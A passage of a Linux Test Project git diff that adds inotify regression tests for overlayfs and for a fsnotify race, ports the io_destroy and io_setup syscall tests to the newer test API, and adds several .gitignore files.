+	TST_TEST_TCONF("system doesn't have required inotify support");
 #endif
diff --git a/testcases/kernel/syscalls/inotify/inotify07.c b/testcases/kernel/syscalls/inotify/inotify07.c
new file mode 100644
index 0000000..96370b5
--- /dev/null
+++ b/testcases/kernel/syscalls/inotify/inotify07.c
@@ -0,0 +1,244 @@
+/*
+ * Copyright (c) 2018 CTERA Networks.  All Rights Reserved.
+ *
+ * This program is free software; you can redistribute it and/or modify it
+ * under the terms of version 2 or any later of the GNU General Public License
+ * as published by the Free Software Foundation.
+ *
+ * This program is distributed in the hope that it would be useful, but
+ * WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+ *
+ * Further, this software is distributed without any warranty that it is
+ * free of the rightful claim of any third person regarding infringement
+ * or the like.  Any license provided herein, whether implied or
+ * otherwise, applies only to this software file.  Patent licenses, if
+ * any, provided herein do not apply to combinations of this program with
+ * other software, or any other product whatsoever.
+ *
+ * You should have received a copy of the GNU General Public License along
+ * with this program; if not, write the Free Software Foundation, Inc.,
+ * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
+ *
+ * Started by Amir Goldstein <amir73il@gmail.com>
+ *
+ * DESCRIPTION
+ *     Check that inotify work for an overlayfs directory after copy up and
+ *     drop caches.
+ *
+ *     An inotify watch pins the directory inode in cache, but not the dentry.
+ *     The watch will not report events on the directory if overlayfs does not
+ *     obtain the pinned inode to the new allocated dentry after drop caches.
+ *
+ *     The problem has been fixed by commit:
+ *       31747eda41ef "ovl: hash directory inodes for fsnotify"
+ *
+ * ALGORITHM
+ *     Add watch on an overlayfs lower directory then chmod directory and drop
+ *     dentry and inode caches. Execute operations on directory and child and
+ *     expect events to be reported on directory watch.
+ */
+
+#include "config.h"
+
+#if defined(HAVE_SYS_INOTIFY_H)
+# include <sys/inotify.h>
+#endif
+#include <stdio.h>
+#include <sys/stat.h>
+#include <sys/types.h>
+#include <fcntl.h>
+#include <errno.h>
+#include <string.h>
+#include <sys/syscall.h>
+#include <sys/mount.h>
+#include <limits.h>
+#include "tst_test.h"
+#include "inotify.h"
+
+#if defined(HAVE_SYS_INOTIFY_H)
+
+#define EVENT_MAX 1024
+/* size of the event structure, not counting name */
+#define EVENT_SIZE  (sizeof (struct inotify_event))
+/* reasonable guess as to size of 1024 events */
+#define EVENT_BUF_LEN        (EVENT_MAX * (EVENT_SIZE + 16))
+
+#define BUF_SIZE 256
+static int fd_notify, reap_wd;
+static int wd;
+
+struct event_t {
+	char name[BUF_SIZE];
+	unsigned int mask;
+};
+
+#define OVL_MNT "ovl"
+#define DIR_NAME "test_dir"
+#define DIR_PATH OVL_MNT"/"DIR_NAME
+#define FILE_NAME "test_file"
+#define FILE_PATH OVL_MNT"/"DIR_NAME"/"FILE_NAME
+
+static int ovl_mounted;
+
+static struct event_t event_set[EVENT_MAX];
+
+static char event_buf[EVENT_BUF_LEN];
+
+void verify_inotify(void)
+{
+	int test_cnt = 0;
+
+	/*
+	 * generate sequence of events
+	 */
+	SAFE_CHMOD(DIR_PATH, 0755);
+	event_set[test_cnt].mask = IN_ISDIR | IN_ATTRIB;
+	strcpy(event_set[test_cnt].name, "");
+	test_cnt++;
+
+	SAFE_TOUCH(FILE_PATH, 0644, NULL);
+	event_set[test_cnt].mask = IN_OPEN;
+	strcpy(event_set[test_cnt].name, FILE_NAME);
+	test_cnt++;
+	event_set[test_cnt].mask = IN_CLOSE_WRITE;
+	strcpy(event_set[test_cnt].name, FILE_NAME);
+	test_cnt++;
+	event_set[test_cnt].mask = IN_ATTRIB;
+	strcpy(event_set[test_cnt].name, FILE_NAME);
+	test_cnt++;
+
+	int len = read(fd_notify, event_buf, EVENT_BUF_LEN);
+	if (len == -1 && errno != EAGAIN) {
+		tst_brk(TBROK | TERRNO,
+			"read(%d, buf, %zu) failed",
+			fd_notify, EVENT_BUF_LEN);
+	}
+
+	int i = 0, test_num = 0;
+	while (i < len) {
+		struct inotify_event *event;
+		event = (struct inotify_event *)&event_buf[i];
+		if (test_num >= test_cnt) {
+			tst_res(TFAIL,
+				"get unnecessary event: "
+				"wd=%d mask=%08x cookie=%-5u len=%-2u"
+				"name=\"%.*s\"", event->wd, event->mask,
+				event->cookie, event->len, event->len,
+				event->name);
+		} else if ((event_set[test_num].mask == event->mask)
+				&&
+				(!strncmp
+				 (event_set[test_num].name, event->name,
+				  event->len))) {
+			tst_res(TPASS,
+				"get event: wd=%d mask=%08x "
+				"cookie=%-5u len=%-2u name=\"%.*s\"",
+				event->wd, event->mask,
+				event->cookie, event->len,
+				event->len, event->name);
+		} else {
+			tst_res(TFAIL, "get event: wd=%d mask=%08x "
+				"(expected %x) cookie=%-5u len=%-2u "
+				"name=\"%.*s\" (expected \"%s\") %d",
+				event->wd, event->mask,
+				event_set[test_num].mask,
+				event->cookie, event->len, event->len,
+				event->name, event_set[test_num].name,
+				strcmp(event_set[test_num].name,
+					event->name));
+		}
+		test_num++;
+		i += EVENT_SIZE + event->len;
+	}
+
+	for (; test_num < test_cnt; test_num++) {
+		tst_res(TFAIL, "didn't get event: mask=%08x ",
+			event_set[test_num].mask);
+	}
+}
+
+static void setup(void)
+{
+	struct stat buf;
+	int ret;
+
+	/* Setup an overlay mount with lower dir and file */
+	SAFE_MKDIR("lower", 0755);
+	SAFE_MKDIR("lower/"DIR_NAME, 0755);
+	SAFE_TOUCH("lower/"DIR_NAME"/"FILE_NAME, 0644, NULL);
+	SAFE_MKDIR("upper", 0755);
+	SAFE_MKDIR("work", 0755);
+	SAFE_MKDIR(OVL_MNT, 0755);
+	ret = mount("overlay", OVL_MNT, "overlay", 0,
+		    "lowerdir=lower,upperdir=upper,workdir=work");
+	if (ret < 0) {
+		if (errno == ENODEV) {
+			tst_brk(TCONF,
+				"overlayfs is not configured in this kernel.");
+		} else {
+			tst_brk(TBROK | TERRNO,
+				"overlayfs mount failed");
+		}
+	}
+	ovl_mounted = 1;
+
+	fd_notify = myinotify_init1(O_NONBLOCK);
+	if (fd_notify < 0) {
+		if (errno == ENOSYS) {
+			tst_brk(TCONF,
+				"inotify is not configured in this kernel.");
+		} else {
+			tst_brk(TBROK | TERRNO,
+				"inotify_init () failed");
+		}
+	}
+
+	/* Setup a watch on an overlayfs lower directory */
+	if ((wd = myinotify_add_watch(fd_notify, DIR_PATH, IN_ALL_EVENTS)) < 0) {
+		tst_brk(TBROK | TERRNO,
+			"inotify_add_watch (%d, " DIR_PATH ", IN_ALL_EVENTS) failed",
+			fd_notify);
+		reap_wd = 1;
+	};
+
+	SAFE_STAT(DIR_PATH, &buf);
+	tst_res(TINFO, DIR_PATH " ino=%lu", buf.st_ino);
+
+	/* Drop dentry caches, so overlayfs will allocate a new dentry */
+	SAFE_FILE_PRINTF("/proc/sys/vm/drop_caches", "2");
+
+	/* Copy up directory to make it a merge directory */
+	SAFE_CHMOD(DIR_PATH, 0700);
+
+	/* Lookup directory and see if we got the watched directory inode */
+	SAFE_STAT(DIR_PATH, &buf);
+	tst_res(TINFO, DIR_PATH " ino=%lu", buf.st_ino);
+}
+
+static void cleanup(void)
+{
+	if (reap_wd && myinotify_rm_watch(fd_notify, wd) < 0) {
+		tst_res(TWARN,
+			"inotify_rm_watch (%d, %d) failed,", fd_notify, wd);
+
+	}
+
+	if (fd_notify > 0)
+		SAFE_CLOSE(fd_notify);
+
+	if (ovl_mounted)
+		SAFE_UMOUNT(OVL_MNT);
+}
+
+static struct tst_test test = {
+	.needs_root = 1,
+	.needs_tmpdir = 1,
+	.setup = setup,
+	.cleanup = cleanup,
+	.test_all = verify_inotify,
+};
+
+#else
+	TST_TEST_TCONF("system doesn't have required inotify support");
+#endif
diff --git a/testcases/kernel/syscalls/inotify/inotify08.c b/testcases/kernel/syscalls/inotify/inotify08.c
new file mode 100644
index 0000000..acdb953
--- /dev/null
+++ b/testcases/kernel/syscalls/inotify/inotify08.c
@@ -0,0 +1,240 @@
+/*
+ * Copyright (c) 2018 CTERA Networks.  All Rights Reserved.
+ *
+ * This program is free software; you can redistribute it and/or modify it
+ * under the terms of version 2 or any later of the GNU General Public License
+ * as published by the Free Software Foundation.
+ *
+ * This program is distributed in the hope that it would be useful, but
+ * WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+ *
+ * Further, this software is distributed without any warranty that it is
+ * free of the rightful claim of any third person regarding infringement
+ * or the like.  Any license provided herein, whether implied or
+ * otherwise, applies only to this software file.  Patent licenses, if
+ * any, provided herein do not apply to combinations of this program with
+ * other software, or any other product whatsoever.
+ *
+ * You should have received a copy of the GNU General Public License along
+ * with this program; if not, write the Free Software Foundation, Inc.,
+ * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
+ *
+ * Started by Amir Goldstein <amir73il@gmail.com>
+ *
+ * DESCRIPTION
+ *     Check that inotify work for an overlayfs file after copy up and
+ *     drop caches.
+ *
+ *     An inotify watch pins the file inode in cache, but not the dentry.
+ *     The watch will not report events on the file if overlayfs does not
+ *     obtain the pinned inode to the new allocated dentry after drop caches.
+ *
+ *     The problem has been fixed by commit:
+ *       764baba80168 "ovl: hash non-dir by lower inode for fsnotify"
+ *
+ *
+ * ALGORITHM
+ *     Add watch on an overlayfs lower file then chmod file and drop dentry
+ *     and inode caches. Execute operations on file and expect events to be
+ *     reported on file watch.
+ */
+
+#include "config.h"
+
+#if defined(HAVE_SYS_INOTIFY_H)
+# include <sys/inotify.h>
+#endif
+#include <stdio.h>
+#include <sys/stat.h>
+#include <sys/types.h>
+#include <sys/sysmacros.h>
+#include <fcntl.h>
+#include <errno.h>
+#include <string.h>
+#include <sys/syscall.h>
+#include <sys/mount.h>
+#include <limits.h>
+#include "tst_test.h"
+#include "inotify.h"
+
+#if defined(HAVE_SYS_INOTIFY_H)
+
+#define EVENT_MAX 1024
+/* size of the event structure, not counting name */
+#define EVENT_SIZE  (sizeof (struct inotify_event))
+/* reasonable guess as to size of 1024 events */
+#define EVENT_BUF_LEN        (EVENT_MAX * (EVENT_SIZE + 16))
+
+#define BUF_SIZE 256
+static int fd_notify, reap_wd;
+static int wd;
+
+struct event_t {
+	unsigned int mask;
+};
+
+#define OVL_MNT "ovl"
+#define FILE_NAME "test_file"
+#define FILE_PATH OVL_MNT"/"FILE_NAME
+
+static int ovl_mounted;
+
+static struct event_t event_set[EVENT_MAX];
+
+static char event_buf[EVENT_BUF_LEN];
+
+void verify_inotify(void)
+{
+	int test_cnt = 0;
+
+	/*
+	 * generate sequence of events
+	 */
+	SAFE_CHMOD(FILE_PATH, 0644);
+	event_set[test_cnt].mask = IN_ATTRIB;
+	test_cnt++;
+
+	SAFE_FILE_PRINTF(FILE_PATH, "1");
+
+	event_set[test_cnt].mask = IN_OPEN;
+	test_cnt++;
+
+	event_set[test_cnt].mask = IN_CLOSE_WRITE;
+	test_cnt++;
+
+	/* Make sure events on upper/lower do not show in overlay watch */
+	SAFE_TOUCH("lower/"FILE_NAME, 0644, NULL);
+	SAFE_TOUCH("upper/"FILE_NAME, 0644, NULL);
+
+	int len = read(fd_notify, event_buf, EVENT_BUF_LEN);
+	if (len == -1 && errno != EAGAIN) {
+		tst_brk(TBROK | TERRNO,
+			"read(%d, buf, %zu) failed",
+			fd_notify, EVENT_BUF_LEN);
+	}
+
+	int i = 0, test_num = 0;
+	while (i < len) {
+		struct inotify_event *event;
+		event = (struct inotify_event *)&event_buf[i];
+		if (test_num >= test_cnt) {
+			tst_res(TFAIL,
+				"get unnecessary event: "
+				"wd=%d mask=%08x cookie=%-5u len=%-2u "
+				"name=\"%.*s\"", event->wd, event->mask,
+				event->cookie, event->len, event->len,
+				event->name);
+		} else if (event_set[test_num].mask == event->mask &&
+			   !event->len) {
+			tst_res(TPASS,
+				"get event: wd=%d mask=%08x "
+				"cookie=%-5u len=%-2u",
+				event->wd, event->mask,
+				event->cookie, event->len);
+		} else {
+			tst_res(TFAIL, "get event: wd=%d mask=%08x "
+				"(expected %x) cookie=%-5u len=%-2u "
+				"name=\"%.*s\" (expected \"\")",
+				event->wd, event->mask,
+				event_set[test_num].mask,
+				event->cookie, event->len, event->len,
+				event->name);
+		}
+		test_num++;
+		i += EVENT_SIZE + event->len;
+	}
+
+	for (; test_num < test_cnt; test_num++) {
+		tst_res(TFAIL, "didn't get event: mask=%x ",
+			event_set[test_num].mask);
+	}
+}
+
+static void setup(void)
+{
+	struct stat buf;
+	int ret;
+
+	/* Setup an overlay mount with lower file */
+	SAFE_MKDIR("lower", 0755);
+	SAFE_TOUCH("lower/"FILE_NAME, 0644, NULL);
+	SAFE_MKDIR("upper", 0755);
+	SAFE_MKDIR("work", 0755);
+	SAFE_MKDIR(OVL_MNT, 0755);
+	ret = mount("overlay", OVL_MNT, "overlay", 0,
+		    "lowerdir=lower,upperdir=upper,workdir=work");
+	if (ret < 0) {
+		if (errno == ENODEV) {
+			tst_brk(TCONF,
+				"overlayfs is not configured in this kernel.");
+		} else {
+			tst_brk(TBROK | TERRNO,
+				"overlayfs mount failed");
+		}
+	}
+	ovl_mounted = 1;
+
+	fd_notify = myinotify_init1(O_NONBLOCK);
+	if (fd_notify < 0) {
+		if (errno == ENOSYS) {
+			tst_brk(TCONF,
+				"inotify is not configured in this kernel.");
+		} else {
+			tst_brk(TBROK | TERRNO,
+				"inotify_init () failed");
+		}
+	}
+
+	/* Setup a watch on an overlayfs lower file */
+	if ((wd = myinotify_add_watch(fd_notify, FILE_PATH,
+				IN_ATTRIB | IN_OPEN | IN_CLOSE_WRITE)) < 0) {
+		tst_brk(TBROK | TERRNO,
+			"inotify_add_watch (%d, " FILE_PATH ", "
+			"IN_ATTRIB | IN_OPEN | IN_CLOSE_WRITE) failed",
+			fd_notify);
+		reap_wd = 1;
+	};
+
+	SAFE_STAT(FILE_PATH, &buf);
+	tst_res(TINFO, FILE_PATH " ino=%lu, dev=%u:%u", buf.st_ino,
+			major(buf.st_dev), minor(buf.st_dev));
+
+	/* Drop dentry caches, so overlayfs will allocate a new dentry */
+	SAFE_FILE_PRINTF("/proc/sys/vm/drop_caches", "2");
+
+	/* Copy up file */
+	SAFE_CHMOD(FILE_PATH, 0600);
+
+	/* Lookup file and see if we got the watched file inode number */
+	SAFE_STAT(FILE_PATH, &buf);
+	tst_res(TINFO, FILE_PATH " ino=%lu, dev=%u:%u", buf.st_ino,
+			major(buf.st_dev), minor(buf.st_dev));
+}
+
+static void cleanup(void)
+{
+	if (reap_wd && myinotify_rm_watch(fd_notify, wd) < 0) {
+		tst_res(TWARN,
+			"inotify_rm_watch (%d, %d) failed,", fd_notify, wd);
+
+	}
+
+	if (fd_notify > 0)
+		SAFE_CLOSE(fd_notify);
+
+	if (ovl_mounted)
+		SAFE_UMOUNT(OVL_MNT);
+}
+
+static struct tst_test test = {
+	.needs_root = 1,
+	.needs_tmpdir = 1,
+	.setup = setup,
+	.cleanup = cleanup,
+	.test_all = verify_inotify,
+};
+
+#else
+	TST_TEST_TCONF("system doesn't have required inotify support");
+#endif
diff --git a/testcases/kernel/syscalls/inotify/inotify09.c b/testcases/kernel/syscalls/inotify/inotify09.c
new file mode 100644
index 0000000..f587a3a
--- /dev/null
+++ b/testcases/kernel/syscalls/inotify/inotify09.c
@@ -0,0 +1,118 @@
+/*
+ * Copyright (c) 2018 SUSE Linux.  All Rights Reserved.
+ *
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program. If not, see <http://www.gnu.org/licenses/>.
+ *
+ * Started by Jan Kara <jack@suse.cz>
+ * Chnaged to use fzsync library by Cyril Hrubis <chrubis@suse.cz>
+ *
+ * DESCRIPTION
+ * Test for inotify mark connector destruction race.
+ *
+ * Kernels prior to 4.17 have a race when the last fsnotify mark on the inode
+ * is being deleted while another process reports event happening on that
+ * inode. When the race is hit, the kernel crashes or loops.
+ *
+ * The problem has been fixed by commit:
+ * d90a10e2444b "fsnotify: Fix fsnotify_mark_connector race"
+ */
+
+#include "config.h"
+
+#include <stdio.h>
+#include <unistd.h>
+#include <stdlib.h>
+#include <fcntl.h>
+#include <time.h>
+#include <signal.h>
+#include <sys/time.h>
+#include <sys/wait.h>
+#include <sys/syscall.h>
+
+#include "tst_test.h"
+#include "tst_safe_pthread.h"
+#include "tst_fuzzy_sync.h"
+#include "inotify.h"
+
+#define FNAME "stress_fname"
+
+#if defined(HAVE_SYS_INOTIFY_H)
+#include <sys/inotify.h>
+
+static struct tst_fzsync_pair fzsync_pair;
+static int fd;
+
+static void *write_seek(void *unused)
+{
+	char buf[64];
+
+	while (tst_fzsync_run_b(&fzsync_pair)) {
+		tst_fzsync_start_race_b(&fzsync_pair);
+		SAFE_WRITE(0, fd, buf, sizeof(buf));
+		SAFE_LSEEK(fd, 0, SEEK_SET);
+		tst_fzsync_end_race_b(&fzsync_pair);
+	}
+	return unused;
+}
+
+static void setup(void)
+{
+	fd = SAFE_OPEN(FNAME, O_CREAT | O_RDWR, 0600);
+	tst_fzsync_pair_init(&fzsync_pair);
+}
+
+static void cleanup(void)
+{
+	if (fd > 0)
+		SAFE_CLOSE(fd);
+
+	tst_fzsync_pair_cleanup(&fzsync_pair);
+}
+
+static void verify_inotify(void)
+{
+	int inotify_fd;
+	int wd;
+
+	inotify_fd = myinotify_init1(0);
+	if (inotify_fd < 0)
+		tst_brk(TBROK | TERRNO, "inotify_init failed");
+
+	tst_fzsync_pair_reset(&fzsync_pair, write_seek);
+	while (tst_fzsync_run_a(&fzsync_pair)) {
+		wd = myinotify_add_watch(inotify_fd, FNAME, IN_MODIFY);
+		if (wd < 0)
+			tst_brk(TBROK | TERRNO, "inotify_add_watch() failed.");
+
+		tst_fzsync_start_race_a(&fzsync_pair);
+		wd = myinotify_rm_watch(inotify_fd, wd);
+		tst_fzsync_end_race_a(&fzsync_pair);
+		if (wd < 0)
+			tst_brk(TBROK | TERRNO, "inotify_rm_watch() failed.");
+	}
+	SAFE_CLOSE(inotify_fd);
+	/* We survived for given time - test succeeded */
+	tst_res(TPASS, "kernel survived inotify beating");
+}
+
+static struct tst_test test = {
+	.needs_tmpdir = 1,
+	.setup = setup,
+	.cleanup = cleanup,
+	.test_all = verify_inotify,
+};
+
+#else
+	TST_TEST_TCONF("system doesn't have required inotify support");
+#endif
diff --git a/testcases/kernel/syscalls/inotify_init/.gitignore b/testcases/kernel/syscalls/inotify_init/.gitignore
new file mode 100644
index 0000000..e15aef3
--- /dev/null
+++ b/testcases/kernel/syscalls/inotify_init/.gitignore
@@ -0,0 +1,2 @@
+/inotify_init1_01
+/inotify_init1_02
diff --git a/testcases/kernel/syscalls/io_cancel/.gitignore b/testcases/kernel/syscalls/io_cancel/.gitignore
new file mode 100644
index 0000000..1728695
--- /dev/null
+++ b/testcases/kernel/syscalls/io_cancel/.gitignore
@@ -0,0 +1 @@
+/io_cancel01
diff --git a/testcases/kernel/syscalls/io_destroy/.gitignore b/testcases/kernel/syscalls/io_destroy/.gitignore
new file mode 100644
index 0000000..025aa0f
--- /dev/null
+++ b/testcases/kernel/syscalls/io_destroy/.gitignore
@@ -0,0 +1 @@
+/io_destroy01
diff --git a/testcases/kernel/syscalls/io_destroy/io_destroy01.c b/testcases/kernel/syscalls/io_destroy/io_destroy01.c
index 88bef7e..e5ab188 100644
--- a/testcases/kernel/syscalls/io_destroy/io_destroy01.c
+++ b/testcases/kernel/syscalls/io_destroy/io_destroy01.c
@@ -1,7 +1,7 @@
 /*
- *
  *   Copyright (c) Crackerjack Project., 2007
  *   Copyright (c) 2011 Cyril Hrubis <chrubis@suse.cz>
+ *   Copyright (c) 2017 Xiao Yang <yangx.jy@cn.fujitsu.com>
  *
  *   This program is free software;  you can redistribute it and/or modify
  *   it under the terms of the GNU General Public License as published by
@@ -19,91 +19,46 @@
  */
 
 /* Porting from Crackerjack to LTP is done
-   by Masatake YAMATO <yamato@redhat.com> */
+ * by Masatake YAMATO <yamato@redhat.com>
+ *
+ * Description:
+ * io_destroy(2) fails and returns -EINVAL if ctx is invalid.
+ */
 
 #include <errno.h>
 #include <string.h>
-
 #include "config.h"
-#include "test.h"
-
-char *TCID = "io_destroy01";
-
-int TST_TOTAL = 1;
+#include "tst_test.h"
 
 #ifdef HAVE_LIBAIO
 #include <libaio.h>
 
-static void cleanup(void)
+static void verify_io_destroy(void)
 {
-}
-
-static void setup(void)
-{
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-}
-
-/*
-  DESCRIPTION
-       io_destroy  removes  the asynchronous I/O context from the list of I/O
-       contexts and then destroys it.  io_destroy can also  cancel  any  out-
-       standing asynchronous I/O actions on ctx and block on completion.
-
- RETURN VALUE
-       io_destroy returns 0 on success.
-
- ERRORS
-       EINVAL The AIO context specified by ctx is invalid.
-*/
-
-#define EXP_RET (-EINVAL)
-
-int main(int argc, char *argv[])
-{
-	int lc;
-
 	io_context_t ctx;
 
 	memset(&ctx, 0xff, sizeof(ctx));
 
-	tst_parse_opts(argc, argv, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		tst_count = 0;
-
-		TEST(io_destroy(ctx));
-
-		switch (TEST_RETURN) {
-		case 0:
-			tst_resm(TFAIL, "call succeeded unexpectedly");
-			break;
-		case EXP_RET:
-			tst_resm(TPASS, "expected failure - "
-				 "returned value = %ld : %s", TEST_RETURN,
-				 strerror(-TEST_RETURN));
-			break;
-		case -ENOSYS:
-			tst_resm(TCONF, "io_cancel returned ENOSYS");
-			break;
-		default:
-			tst_resm(TFAIL, "unexpected returned value - %s (%i) - "
-				 "expected %s (%i)", strerror(-TEST_RETURN),
-				 (int)TEST_RETURN, strerror(-EXP_RET), EXP_RET);
-			break;
-		}
+	TEST(io_destroy(ctx));
+	if (TST_RET == 0) {
+		tst_res(TFAIL, "io_destroy() succeeded unexpectedly");
+		return;
 	}
 
-	cleanup();
-	tst_exit();
+	if (TST_RET == -EINVAL) {
+		tst_res(TPASS,
+			"io_destroy() failed as expected, returned -EINVAL");
+	} else {
+		tst_res(TFAIL, "io_destroy() failed unexpectedly, "
+			"returned -%s expected -EINVAL",
+			tst_strerrno(-TST_RET));
+	}
 }
 
+static struct tst_test test = {
+	.test_all = verify_io_destroy,
+};
+
 #else
-int main(void)
-{
-	tst_brkm(TCONF, NULL, "test requires libaio and it's development packages");
-}
+	TST_TEST_TCONF("test requires libaio and it's development packages");
 #endif
diff --git a/testcases/kernel/syscalls/io_getevents/.gitignore b/testcases/kernel/syscalls/io_getevents/.gitignore
new file mode 100644
index 0000000..b3a5f4d
--- /dev/null
+++ b/testcases/kernel/syscalls/io_getevents/.gitignore
@@ -0,0 +1 @@
+/io_getevents01
diff --git a/testcases/kernel/syscalls/io_setup/.gitignore b/testcases/kernel/syscalls/io_setup/.gitignore
new file mode 100644
index 0000000..4fd0396
--- /dev/null
+++ b/testcases/kernel/syscalls/io_setup/.gitignore
@@ -0,0 +1 @@
+/io_setup01
diff --git a/testcases/kernel/syscalls/io_setup/io_setup01.c b/testcases/kernel/syscalls/io_setup/io_setup01.c
index 22b91bc..617689b 100644
--- a/testcases/kernel/syscalls/io_setup/io_setup01.c
+++ b/testcases/kernel/syscalls/io_setup/io_setup01.c
@@ -1,7 +1,7 @@
 /*
- *
  *   Copyright (c) Crackerjack Project., 2007
  *   Copyright (c) 2011 Cyril Hrubis <chrubis@suse.cz>
+ *   Copyright (c) 2017 Xiao Yang <yangx.jy@cn.fujitsu.com>
  *
  *   This program is free software;  you can redistribute it and/or modify
  *   it under the terms of the GNU General Public License as published by
@@ -19,123 +19,85 @@
  */
 
 /* Porting from Crackerjack to LTP is done
-   by Masatake YAMATO <yamato@redhat.com> */
+ * by Masatake YAMATO <yamato@redhat.com>
+ *
+ * Description:
+ * 1) io_setup(2) succeeds if both nr_events and ctxp are valid.
+ * 2) io_setup(2) fails and returns -EINVAL if ctxp is not initialized to 0.
+ * 3) io_setup(2) fails and returns -EINVAL if nr_events is invalid.
+ * 4) io_setup(2) fails and returns -EFAULT if ctxp is NULL.
+ * 5) io_setup(2) fails and returns -EAGAIN if nr_events exceeds the limit
+ *    of available events.
+ */
 
 #include <errno.h>
 #include <string.h>
-
+#include <unistd.h>
 #include "config.h"
-#include "test.h"
-
-char *TCID = "io_setup01";
-
-int TST_TOTAL = 4;
+#include "tst_test.h"
 
 #ifdef HAVE_LIBAIO
 #include <libaio.h>
 
-static void cleanup(void)
+static void verify_failure(unsigned int nr, io_context_t *ctx, int init_val, long exp_err)
 {
-}
+	if (ctx)
+		memset(ctx, init_val, sizeof(*ctx));
 
-static void setup(void)
-{
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-}
-
-/*
-   DESCRIPTION
-   io_setup  creates  an asynchronous I/O context capable of receiving at
-   least nr_events.  ctxp must not point to an AIO context  that  already
-   exists, and must be initialized to 0 prior to the call.  On successful
-   creation of the AIO context, *ctxp is filled  in  with  the  resulting
-   handle.
- */
-int main(int argc, char *argv[])
-{
-	int lc;
-
-	io_context_t ctx;
-	int expected_return;
-
-	tst_parse_opts(argc, argv, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		tst_count = 0;
-
-		memset(&ctx, 0, sizeof(ctx));
-		expected_return = 0;
-		TEST(io_setup(1, &ctx));
-
-		if (TEST_RETURN == expected_return) {
-			tst_resm(TPASS, "call succeeded expectedly");
-			io_destroy(ctx);
-		} else {
-			tst_resm(TFAIL, "unexpected returned value - %ld - "
-				 "expected %d", TEST_RETURN, expected_return);
-		}
-
-		memset(&ctx, 1, sizeof(ctx));
-		expected_return = -EINVAL;
-		TEST(io_setup(1, &ctx));
-
-		if (TEST_RETURN == 0) {
-			tst_resm(TFAIL, "call succeeded unexpectedly");
-			io_destroy(ctx);
-		} else if (TEST_RETURN == expected_return) {
-			tst_resm(TPASS, "expected failure - "
-				 "returned value = %ld : %s", TEST_RETURN,
-				 strerror(-1 * TEST_RETURN));
-		} else {
-			tst_resm(TFAIL, "unexpected returned value - %ld - "
-				 "expected %d", TEST_RETURN, expected_return);
-		}
-
-		memset(&ctx, 0, sizeof(ctx));
-		expected_return = -EINVAL;
-		TEST(io_setup(-1, &ctx));
-		if (TEST_RETURN == 0) {
-			tst_resm(TFAIL, "call succeeded unexpectedly");
-			io_destroy(ctx);
-		} else if (TEST_RETURN == expected_return) {
-			tst_resm(TPASS, "expected failure - "
-				 "returned value = %ld : %s", TEST_RETURN,
-				 strerror(-1 * TEST_RETURN));
-		} else {
-			tst_resm(TFAIL, "unexpected returned value - %ld - "
-				 "expected %d", TEST_RETURN, expected_return);
-		}
-
-		/*
-		   EFAULT An invalid pointer is passed for ctxp.
-		 */
-		expected_return = -EFAULT;
-		TEST(io_setup(1, NULL));
-		if (TEST_RETURN == 0) {
-			tst_resm(TFAIL, "call succeeded unexpectedly");
-			io_destroy(ctx);
-		} else if (TEST_RETURN == expected_return) {
-			tst_resm(TPASS, "expected failure - "
-				 "returned value = %ld : %s", TEST_RETURN,
-				 strerror(-1 * TEST_RETURN));
-		} else {
-			tst_resm(TFAIL, "unexpected returned value - %ld - "
-				 "expected %d", TEST_RETURN, expected_return);
-		}
-
+	TEST(io_setup(nr, ctx));
+	if (TST_RET == 0) {
+		tst_res(TFAIL, "io_setup() passed unexpectedly");
+		io_destroy(*ctx);
+		return;
 	}
-	cleanup();
 
-	tst_exit();
+	if (TST_RET == -exp_err) {
+		tst_res(TPASS, "io_setup() failed as expected, returned -%s",
+			tst_strerrno(exp_err));
+	} else {
+		tst_res(TFAIL, "io_setup() failed unexpectedly, returned -%s "
+			"expected -%s", tst_strerrno(-TST_RET),
+			tst_strerrno(exp_err));
+	}
 }
 
+static void verify_success(unsigned int nr, io_context_t *ctx, int init_val)
+{
+	memset(ctx, init_val, sizeof(*ctx));
+
+	TEST(io_setup(nr, ctx));
+	if (TST_RET != 0) {
+		tst_res(TFAIL, "io_setup() failed unexpectedly with %li (%s)",
+			TST_RET, tst_strerrno(-TST_RET));
+		return;
+	}
+
+	tst_res(TPASS, "io_setup() passed as expected");
+	io_destroy(*ctx);
+}
+
+static void verify_io_setup(void)
+{
+	io_context_t ctx;
+	unsigned int aio_max = 0;
+
+	verify_success(1, &ctx, 0);
+	verify_failure(1, &ctx, 1, EINVAL);
+	verify_failure(-1, &ctx, 0, EINVAL);
+	verify_failure(1, NULL, 0, EFAULT);
+
+	if (!access("/proc/sys/fs/aio-max-nr", F_OK)) {
+		SAFE_FILE_SCANF("/proc/sys/fs/aio-max-nr", "%u", &aio_max);
+		verify_failure(aio_max + 1, &ctx, 0, EAGAIN);
+	} else {
+		tst_res(TCONF, "the aio-max-nr file did not exist");
+	}
+}
+
+static struct tst_test test = {
+	.test_all = verify_io_setup,
+};
+
 #else
-int main(void)
-{
-	tst_brkm(TCONF, NULL, "test requires libaio and it's development packages");
-}
+	TST_TEST_TCONF("test requires libaio and it's development packages");
 #endif
diff --git a/testcases/kernel/syscalls/io_submit/.gitignore b/testcases/kernel/syscalls/io_submit/.gitignore
new file mode 100644
index 0000000..cac043b
--- /dev/null
+++ b/testcases/kernel/syscalls/io_submit/.gitignore
@@ -0,0 +1 @@
+/io_submit01
diff --git a/testcases/kernel/syscalls/ioctl/.gitignore b/testcases/kernel/syscalls/ioctl/.gitignore
new file mode 100644
